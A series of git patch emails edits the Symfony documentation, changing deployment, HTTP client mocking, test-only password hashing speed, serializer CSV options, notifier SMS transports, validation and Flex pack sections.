Subject: [PATCH 1700/7107] Tweaks

---
 deployment.rst | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/deployment.rst b/deployment.rst
index 60c7402c4bd..a0f85444b6d 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -46,7 +46,7 @@ Basic File Transfer
 The most basic way of deploying an application is copying the files manually
 via FTP/SCP (or similar method). This has its disadvantages as you lack control
 over the system as the upgrade progresses. This method also requires you
-to take some manual steps after transferring the files (see `Common Pre-Post-Deployment Tasks`_)
+to take some manual steps after transferring the files (see `Common Deployment Tasks`_)
 
 Using Source Control
 ~~~~~~~~~~~~~~~~~~~~
@@ -58,7 +58,7 @@ system. When using Git, a common approach is to create a tag for each release
 and check out the appropriate tag on deployment (see `Git Tagging`_).
 
 This makes updating your files *easier*, but you still need to worry about
-manually taking other steps (see `Common Pre-Post-Deployment Tasks`_).
+manually taking other steps (see `Common Deployment Tasks`_).
 
 Using Platforms as a Service
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -103,11 +103,13 @@ specifically tailored to the requirements of Symfony.
     `Symfony plugin`_ is a plugin to ease Symfony related tasks, inspired by `Capifony`_
     (which works only with Capistrano 2).
 
-Common Pre-Post-Deployment Tasks
---------------------------------
+.. _common-post-deployment-tasks:
 
-Before and after deploying your actual source code, there are a number of common things
-you'll need to do:
+Common Deployment Tasks
+-----------------------
+
+Before and after deploying your actual source code, there are a number of common
+things you'll need to do:
 
 A) Check Requirements
 ~~~~~~~~~~~~~~~~~~~~~
@@ -237,7 +239,7 @@ are simple and more complex tools and one can make the deployment as easy
 
 Don't forget that deploying your application also involves updating any dependency
 (typically via Composer), migrating your database, clearing your cache and
-other potential things like pushing assets to a CDN (see `Common Pre-Post-Deployment Tasks`_).
+other potential things like pushing assets to a CDN (see `Common Deployment Tasks`_).
 
 Troubleshooting
 ---------------

From 66dd93cee4ef4a7c76f32207372ea0132695fbe5 Mon Sep 17 00:00:00 2001
From: Gabriel Birke <gabriel.birke@gmail.com>
Date: Sat, 21 Mar 2020 14:08:48 +0100
Subject: [PATCH 1701/7107] Expand MockResponse example with HTTP status codes

Show how to create MockResponses with status codes different than "200 OK"
---
 http_client.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index a2056c90976..1738e0d17ba 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,6 +1387,21 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
+If you need to test your error handling with responses that have an HTTP status 
+code different than 200, you need to provide a raw HTTP header with the 
+`response_headers` key::
+
+    use Symfony\Component\HttpClient\MockHttpClient;
+    use Symfony\Component\HttpClient\Response\MockResponse;
+
+    $client = new MockHttpClient([
+        new MockResponse('...', ['response_headers' => ['HTTP/1.1 500 Internal Server Error']]),
+        new MockResponse('...', ['response_headers' => ['HTTP/1.1 404 Page Not Found']]),
+    ]);
+
+    $response = $client->request('...');
+
+
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).

From 3aaf9afe984c3e3585f1bb63d0989db443164b19 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:01:51 +0100
Subject: [PATCH 1702/7107] reword

---
 http_client.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 1738e0d17ba..91122c00961 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1387,21 +1387,19 @@ responses dynamically when it's called::
     $client = new MockHttpClient($callback);
     $response = $client->request('...'); // calls $callback to get the response
 
-If you need to test your error handling with responses that have an HTTP status 
-code different than 200, you need to provide a raw HTTP header with the 
-`response_headers` key::
+If you need to test responses with HTTP status codes different than 200,
+define the ``http_code`` option::
 
     use Symfony\Component\HttpClient\MockHttpClient;
     use Symfony\Component\HttpClient\Response\MockResponse;
 
     $client = new MockHttpClient([
-        new MockResponse('...', ['response_headers' => ['HTTP/1.1 500 Internal Server Error']]),
-        new MockResponse('...', ['response_headers' => ['HTTP/1.1 404 Page Not Found']]),
+        new MockResponse('...', ['http_code' => 500]),
+        new MockResponse('...', ['http_code' => 404]),
     ]);
 
     $response = $client->request('...');
 
-
 The responses provided to the mock client don't have to be instances of
 ``MockResponse``. Any class implementing ``ResponseInterface`` will work (e.g.
 ``$this->createMock(ResponseInterface::class)``).

From e28f9d63d8b29a483ca70770b30cbd4bf239a943 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Mon, 27 Apr 2020 16:18:56 -0400
Subject: [PATCH 1703/7107] [testing] document improving test speed by reducing
 encoder work factor

---
 testing/http_authentication.rst | 65 +++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 158cb2f2cae..7ddb11c92a2 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -12,6 +12,71 @@ OAuth authentication services.
 This article explains the two most popular techniques to avoid these issues and
 create fast tests when using authentication.
 
+Improving Password Encoder Speed in Tests
+-----------------------------------------
+
+By default, password encoders are resource intensive and take time. This is
+important to generate secure password hashes. In tests however, secure hashes
+are not important, waste resources and increase test times. You can reduce
+the *work factor* for your encoders by adding the following *only in your test
+environment*:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/test/security.yaml
+        encoders:
+                # Use your user class name here
+                App\Entity\User:
+                    algorithm: auto # This should be the same value as in config/packages/security.yaml
+                    cost: 4 # Lowest possible value for bcrypt
+                    time_cost: 3 # Lowest possible value for argon
+                    memory_cost: 10 # Lowest possible value for argon
+
+    .. code-block:: xml
+
+        <!-- config/packages/test/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <!-- class: Use your user class name here -->
+                <!-- algorithm: This should be the same value as in config/packages/security.yaml -->
+                <!-- cost: Lowest possible value for bcrypt -->
+                <!-- time_cost: Lowest possible value for argon -->
+                <!-- memory_cost: Lowest possible value for argon -->
+                <encoder
+                    class="App\Entity\User"
+                    algorithm="auto"
+                    cost="4"
+                    time_cost="3"
+                    memory_cost="10"
+                />
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/test/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'encoders' => [
+                // Use your user class name here
+                User::class => [
+                    'algorithm' => 'auto', // This should be the same value as in config/packages/security.yaml
+                    'cost' => 4, // Lowest possible value for bcrypt
+                    'time_cost' => 3, // Lowest possible value for argon
+                    'memory_cost' => 10, // Lowest possible value for argon
+                ]
+            ],
+        ]);
+
 Using a Faster Authentication Mechanism Only for Tests
 ------------------------------------------------------
 

From eadb2727f2e85b06d9376143966b305c9ff0076a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:34:53 +0100
Subject: [PATCH 1704/7107] Tweaks

---
 testing/http_authentication.rst | 29 ++++++++++++++---------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 7ddb11c92a2..336f6f12b39 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -9,17 +9,16 @@ This could become an issue especially when the tests reproduce the same steps
 that users follow to authenticate, such as submitting a login form or using
 OAuth authentication services.
 
-This article explains the two most popular techniques to avoid these issues and
-create fast tests when using authentication.
+This article explains some of the most popular techniques to avoid these issues
+and create fast tests when using authentication.
 
-Improving Password Encoder Speed in Tests
------------------------------------------
+Hashing Passwords Faster Only for Tests
+---------------------------------------
 
-By default, password encoders are resource intensive and take time. This is
-important to generate secure password hashes. In tests however, secure hashes
-are not important, waste resources and increase test times. You can reduce
-the *work factor* for your encoders by adding the following *only in your test
-environment*:
+By default, :ref:`password encoders <security-encoding-user-password>` are
+resource intensive and take time. This is important to generate secure password
+hashes. In tests however, secure hashes are not important, so you can change the
+encoders configuration to generate password hashes as fast as possible:
 
 .. configuration-block::
 
@@ -27,12 +26,12 @@ environment*:
 
         # config/packages/test/security.yaml
         encoders:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
+            # Use your user class name here
+            App\Entity\User:
+                algorithm: auto # This should be the same value as in config/packages/security.yaml
+                cost: 4 # Lowest possible value for bcrypt
+                time_cost: 3 # Lowest possible value for argon
+                memory_cost: 10 # Lowest possible value for argon
 
     .. code-block:: xml
 

From 790d1ecb6aefb9f4104399f6b7a6913a2d748259 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 15:42:55 +0100
Subject: [PATCH 1705/7107] Restored some wrongly removed contents

---
 testing/http_authentication.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 134f2ad3fb7..a55ae639e0b 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -10,4 +10,8 @@ How to Simulate HTTP Authentication in a Functional Test
     ease testing secured applications. See :ref:`testing_logging_in_users`
     for more information about this.
 
+    If you are still using an older version of Symfony, view
+    `previous versions of this article`_ for information on how to simulate
+    HTTP authentication.
+
 .. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html

From c20126a152577edf25f60d69ff129245a23de82b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 16:17:29 +0100
Subject: [PATCH 1706/7107] Tweaks

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index ac0451d473d..750d6a2ca5e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -791,7 +791,7 @@ of domain logic in your templates:
     Returns an array with all the transitions enabled for the given object.
 
 ``workflow_transition()``
-    Returns a specific transitions enabled for the given object and transition name.
+    Returns a specific transition enabled for the given object and transition name.
 
 ``workflow_marked_places()``
     Returns an array with the place names of the given marking.

From e22f0157ebf062761b6e53b8ea8218646e328150 Mon Sep 17 00:00:00 2001
From: lajosthiel <lajos@thiel-agile.de>
Date: Tue, 24 Nov 2020 19:09:08 +0100
Subject: [PATCH 1707/7107] [Serializer] Clarifies 'csv_headers' option

---
 components/serializer.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 5c498cbf593..35526432694 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -842,7 +842,14 @@ Option                  Description                                           De
 ``csv_escape_char``     Sets the escape character (at most one character)
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
-``csv_headers``         Sets the headers for the data                         ``[]``, inferred from input data's keys
+``csv_headers``         Sets the order of the header and data columns
+                        E.g.: $this->serializer->serialize(
+                        ['c' => 3,'a' => 1,'b' => 2],
+                        'csv',
+                        ['csv_headers' => ['a', 'b', 'c']]);
+                        returns
+                        a,b,c
+                        1,2,3                                                 ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From ab238c7a277b63c0a02e5266b0de7b057196e596 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 16:49:25 +0100
Subject: [PATCH 1708/7107] Tweak

---
 components/serializer.rst | 10 +++-------
 1 file changed, 3 insertions(+), 7 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 35526432694..b9291c2e2ef 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -843,13 +843,9 @@ Option                  Description                                           De
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
-                        E.g.: $this->serializer->serialize(
-                        ['c' => 3,'a' => 1,'b' => 2],
-                        'csv',
-                        ['csv_headers' => ['a', 'b', 'c']]);
-                        returns
-                        a,b,c
-                        1,2,3                                                 ``[]``, inferred from input data's keys
+                        E.g.: ``serialize(['c' => 3,'a' => 1,'b' => 2],
+                        'csv', ['csv_headers' => ['a', 'b', 'c']]);``
+                        returns ``a,b,c\n1,2,3 ``                             ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From 2e69b0b29c6334a04a005a7095b25557d50fa24f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 17:20:48 +0100
Subject: [PATCH 1709/7107] Fixed a Serializer example

---
 components/serializer.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index b9291c2e2ef..e0fe6044e70 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -843,9 +843,10 @@ Option                  Description                                           De
 ``csv_key_separator``   Sets the separator for array's keys during its        ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
-                        E.g.: ``serialize(['c' => 3,'a' => 1,'b' => 2],
-                        'csv', ['csv_headers' => ['a', 'b', 'c']]);``
-                        returns ``a,b,c\n1,2,3 ``                             ``[]``, inferred from input data's keys
+                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
+                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
+                        then ``serialize($data, 'csv', $options)`` returns
+                        ``a,b,c\n1,2,3 ``                                     ``[]``, inferred from input data's keys
 ``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only

From abd7460c0c7b09056ff532296d2168347dc623ab Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20MARTIN?= <pro@aurelienmartin.com>
Date: Mon, 4 Jan 2021 11:41:12 +0100
Subject: [PATCH 1710/7107] Add Octopush in SMS channel

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index be67884c1b2..966124b01bb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -62,6 +62,7 @@ Infobip     ``symfony/infobip-notifier``      ``infobip://ACCESS_TOKEN@HOST?from
 Iqsms       ``symfony/iqsms-notifier``        ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 Mobyt       ``symfony/mobyt-notifier``        ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
 Nexmo       ``symfony/nexmo-notifier``        ``nexmo://KEY:SECRET@default?from=FROM``
+Octopush    ``symfony/octopush-notifier``     ``octopush://USERLOGIN:APIKEY@default?from=FROM&type=TYPE``
 OvhCloud    ``symfony/ovh-cloud-notifier``    ``ovhcloud://APPLICATION_KEY:APPLICATION_SECRET@default?consumer_key=CONSUMER_KEY&service_name=SERVICE_NAME``
 Sendinblue  ``symfony/sendinblue-notifier``   ``sendinblue://API_KEY@default?sender=PHONE``
 Sinch       ``symfony/sinch-notifier``        ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
@@ -79,7 +80,7 @@ Twilio      ``symfony/twilio-notifier``       ``twilio://SID:TOKEN@default?from=
 
 .. versionadded:: 5.3
 
-    The Iqsms integration was introduced in Symfony 5.3.
+    The Iqsms and Octopush integrations were introduced in Symfony 5.3.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 645a4d89f6f9efc56e9e4fc064a247a9b5b2212c Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Fri, 9 Oct 2020 08:30:27 +0200
Subject: [PATCH 1711/7107] [Validator] PHP 7.4 uninitialized typed property
 handling

---
 validation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/validation.rst b/validation.rst
index ae73527188c..b8a5276c4e4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -611,6 +611,13 @@ class to have at least 3 characters.
             }
         }
 
+.. caution::
+
+    With PHP 7.4, typed properties were introduced. If a property is accessed
+    before a value is assigned (explicitly or as a default value), PHP will
+    throw an exception. To avoid that, the Validator will use ``null`` as the
+    properties value if it's uninitialized.
+
 .. index::
    single: Validation; Getter constraints
 

From d1cb7228dfeb2b3d8489d0221290e46ff9f40dba Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 8 Jan 2021 17:36:00 +0100
Subject: [PATCH 1712/7107] Reword

---
 validation.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/validation.rst b/validation.rst
index b8a5276c4e4..ab81c528462 100644
--- a/validation.rst
+++ b/validation.rst
@@ -613,10 +613,9 @@ class to have at least 3 characters.
 
 .. caution::
 
-    With PHP 7.4, typed properties were introduced. If a property is accessed
-    before a value is assigned (explicitly or as a default value), PHP will
-    throw an exception. To avoid that, the Validator will use ``null`` as the
-    properties value if it's uninitialized.
+    The validator will use a value ``null`` if a typed property is uninitialized.
+    This can cause unexpected behavior if the property holds a value when initialized.
+    In order to avoid this, make sure all properties are initialized before validating them.
 
 .. index::
    single: Validation; Getter constraints

From 7bf5be110d5bed4e0da3e795ab64fff01cdde40f Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@sensiolabs.de>
Date: Sun, 10 Jan 2021 11:45:58 +0100
Subject: [PATCH 1713/7107] fix table markup

---
 components/serializer.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e0fe6044e70..56b9d698cdd 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -833,27 +833,27 @@ which defines the configuration options for the CsvEncoder an associative array:
 
 These are the options available:
 
-======================= ====================================================  ==========================
-Option                  Description                                           Default
-======================= ====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one       ``,``
+======================= =====================================================  ==========================
+Option                  Description                                            Default
+======================= =====================================================  ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
                         character only)
-``csv_enclosure``       Sets the field enclosure (one character only)         ``"``
+``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
 ``csv_escape_char``     Sets the escape character (at most one character)
-``csv_key_separator``   Sets the separator for array's keys during its        ``.``
+``csv_key_separator``   Sets the separator for array's keys during its         ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
                         E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3 ``                                     ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them   ``false``
+                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only
                         one line is decoded.
-``no_headers``          Disables header in the encoded CSV                    ``false``
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data  ``false``
-======================= ====================================================  ==========================
+``no_headers``          Disables header in the encoded CSV                     ``false``
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
+======================= =====================================================  ==========================
 
 .. versionadded:: 4.4
 

From 0470b00dac4042ba82b4be1a628a3018151b629b Mon Sep 17 00:00:00 2001
From: Vincent Langlet <vincentlanglet@hotmail.fr>
Date: Mon, 18 May 2020 11:53:54 +0200
Subject: [PATCH 1714/7107] Add choice_translation_parameters option

---
 reference/forms/types/choice.rst              |  3 +
 .../choice_translation_parameters.rst.inc     | 80 +++++++++++++++++++
 2 files changed, 83 insertions(+)
 create mode 100644 reference/forms/types/options/choice_translation_parameters.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index affcce9ab54..d01d90f262d 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -19,6 +19,7 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 |                           | - `choice_loader`_                                                   |
 |                           | - `choice_name`_                                                     |
 |                           | - `choice_translation_domain`_                                       |
+|                           | - `choice_translation_parameters`_                                   |
 |                           | - `choice_value`_                                                    |
 |                           | - `expanded`_                                                        |
 |                           | - `group_by`_                                                        |
@@ -232,6 +233,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
 
+.. include:: /reference/forms/types/options/choice_translation_parameters.rst.inc
+
 .. include:: /reference/forms/types/options/choice_value.rst.inc
 
 .. include:: /reference/forms/types/options/expanded.rst.inc
diff --git a/reference/forms/types/options/choice_translation_parameters.rst.inc b/reference/forms/types/options/choice_translation_parameters.rst.inc
new file mode 100644
index 00000000000..32e66393383
--- /dev/null
+++ b/reference/forms/types/options/choice_translation_parameters.rst.inc
@@ -0,0 +1,80 @@
+choice_translation_parameters
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``array``, ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``[]``
+
+The choice values are translated before displaying it, so it can contain
+:ref:`translation placeholders <component-translation-placeholders>`.
+This option defines the values used to replace those placeholders. This can be
+an associative array where the keys match the choice keys and the values
+are the attributes for each choice, a callable or a property path
+(just like `choice_label`_).
+
+Given this translation message:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # translations/messages.en.yaml
+        form.order.yes: 'I confirm my order to the company %company%'
+        form.order.no: 'I cancel my order'
+
+    .. code-block:: xml
+
+        <!-- translations/messages.en.xlf -->
+        <?xml version="1.0"?>
+        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
+            <file source-language="en" datatype="plaintext" original="file.ext">
+                <body>
+                <trans-unit id="form.order.yes">
+                    <source>form.order.yes</source>
+                    <target>I confirm my order to the company %company%</target>
+                </trans-unit>
+                <trans-unit id="form.order.no">
+                    <source>form.order.no</source>
+                    <target>I cancel my order</target>
+                </trans-unit>
+                </body>
+            </file>
+        </xliff>
+
+    .. code-block:: php
+
+        // translations/messages.fr.php
+        return [
+            'form.order.yes' => "I confirm my order to the company %company%",
+            'form.order.no' => "I cancel my order",
+        ];
+
+You can specify the placeholder values as follows::
+
+    $builder->add('id', null, [
+        'choice' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => function ($choice, $key, $value) {
+            if (false === $choice) {
+                return [];
+            }
+
+            return ['%company%' => 'ACME Inc.']
+        },
+    ]);
+
+If an array, the keys of the ``choices`` array must be used as keys::
+
+    $builder->add('id', null, [
+        'choice' => [
+            'form.order.yes' => true,
+            'form.order.no' => false,
+        ],
+        'choice_translation_parameters' => [
+            'form.order.yes' => ['%company%' => 'ACME Inc.'],
+            'form.order.no' => [],
+        ],
+    ]);
+
+The translation parameters of child fields are merged with the same option of
+their parents, so children can reuse and/or override any of the parent placeholders.

From 89d3122981d023c5e373044528f900a0f063814c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Jan 2021 17:36:22 +0100
Subject: [PATCH 1715/7107] [Messenger] Deprecated the prefetch_count option

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index e4d1179da8a..9f28fca4e1d 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1005,6 +1005,11 @@ The transport has a number of options:
 ``exchange[type]``                            Type of exchange                                   ``fanout``
 ============================================  =================================================  ===================================
 
+.. deprecated:: 5.3
+
+    The ``prefetch_count`` option was deprecated in Symfony 5.3 because it has
+    no effect on the AMQP Messenger transport.
+
 You can also configure AMQP-specific settings on your message by adding
 :class:`Symfony\\Component\\Messenger\\Bridge\\Amqp\\Transport\\AmqpStamp` to
 your Envelope::

From f97888b8a05121405df7943dc0ca07909ca1804f Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 11 Jan 2021 10:01:28 +0100
Subject: [PATCH 1716/7107] [#14384] Minor grammar fix in versionadded
 directive

---
 components/serializer.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index bf25000f347..0c66f680c66 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -979,7 +979,8 @@ Option                          Description
 
 .. versionadded:: 4.2
 
-    The ``decoder_ignored_node_types`` & ``encoder_ignored_node_types`` options was introduced in Symfony 4.2.
+    The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
+    options were introduced in Symfony 4.2.
 
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~

From d44c038f925c4cab693995ecf1531206128353a5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Mon, 11 Jan 2021 10:02:07 +0100
Subject: [PATCH 1717/7107] Removed 4.2 versionadded directive

---
 components/serializer.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index ca89cdb58ca..c062fef80c5 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -946,11 +946,6 @@ Option                          Description
                                 generated XML
 ==============================  =================================================  ==========================
 
-.. versionadded:: 4.2
-
-    The ``decoder_ignored_node_types`` and ``encoder_ignored_node_types``
-    options were introduced in Symfony 4.2.
-
 The ``YamlEncoder``
 ~~~~~~~~~~~~~~~~~~~
 

From 1534a32f7b3257ac0631e58bb0537de672bfe561 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 11 Jan 2021 12:49:41 +0100
Subject: [PATCH 1718/7107] DOCtor-RST: New rule blank_line_after_anchor

---
 .doctor-rst.yaml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 949ad80f3bf..8da0ebdd6af 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -1,6 +1,7 @@
 rules:
     american_english: ~
     avoid_repetetive_words: ~
+    blank_line_after_anchor: ~
     blank_line_after_directive: ~
     blank_line_before_directive: ~
     composer_dev_option_not_at_the_end: ~

From 5e743581e8487ca44b03da5af944a7c4760d1f2c Mon Sep 17 00:00:00 2001
From: Andrii Dembitskyi <andrew.dembitskiy@gmail.com>
Date: Mon, 11 Jan 2021 10:06:29 -0500
Subject: [PATCH 1719/7107] Fixes #14814 Default behavior about unpacking packs
 by Flex changed

`symfony/flex` since `1.9.0` unpack packs by default (PR https://github.com/symfony/flex/pull/656)
---
 setup.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index a93d157b371..7b22d190321 100644
--- a/setup.rst
+++ b/setup.rst
@@ -210,12 +210,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-By default, when installing Symfony packs, your ``composer.json`` file shows the
-pack dependency (e.g. ``"symfony/debug-pack": "^1.0"``) instead of the actual
-packages installed. To show the packages, add the ``--unpack`` option when
-installing a pack (e.g. ``composer require debug --dev --unpack``) or run this
-command to unpack the already installed packs: ``composer unpack PACK_NAME``
-(e.g. ``composer unpack debug``).
+You won't see the `symfony/debug-pack` dependency in your `composer.json`, as Flex
+automatically unpacks the pack. This means that it only adds the real packages 
+as dependencies (e.g. you will see the new `symfony/var-dumper` in `require-dev`). 
+While it is not recommended, you can use the `composer require --no-unpack ...`
+option to disable unpacking.
 
 .. _security-checker:
 

From a3716a41613649fc4ec0c9ac4953b3968b5c6f7e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Jan 2021 17:33:23 +0100
Subject: [PATCH 1720/7107] Tweaks

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup.rst b/setup.rst
index 7b22d190321..68200d31020 100644
--- a/setup.rst
+++ b/setup.rst
@@ -210,11 +210,11 @@ For example, to add debugging features in your application, you can run the
 which in turn installs several packages like ``symfony/debug-bundle``,
 ``symfony/monolog-bundle``, ``symfony/var-dumper``, etc.
 
-You won't see the `symfony/debug-pack` dependency in your `composer.json`, as Flex
-automatically unpacks the pack. This means that it only adds the real packages 
-as dependencies (e.g. you will see the new `symfony/var-dumper` in `require-dev`). 
-While it is not recommended, you can use the `composer require --no-unpack ...`
-option to disable unpacking.
+You won't see the ``symfony/debug-pack`` dependency in your ``composer.json``,
+as Flex automatically unpacks the pack. This means that it only adds the real
+packages as dependencies (e.g. you will see a new ``symfony/var-dumper`` in
+``require-dev``). While it is not recommended, you can use the ``composer
+require --no-unpack ...`` option to disable unpacking.
 
 .. _security-checker:
 

From 8961ebdd978cc42fbf0a1a98d5432b2a5d439a87 Mon Sep 17 00:00:00 2001
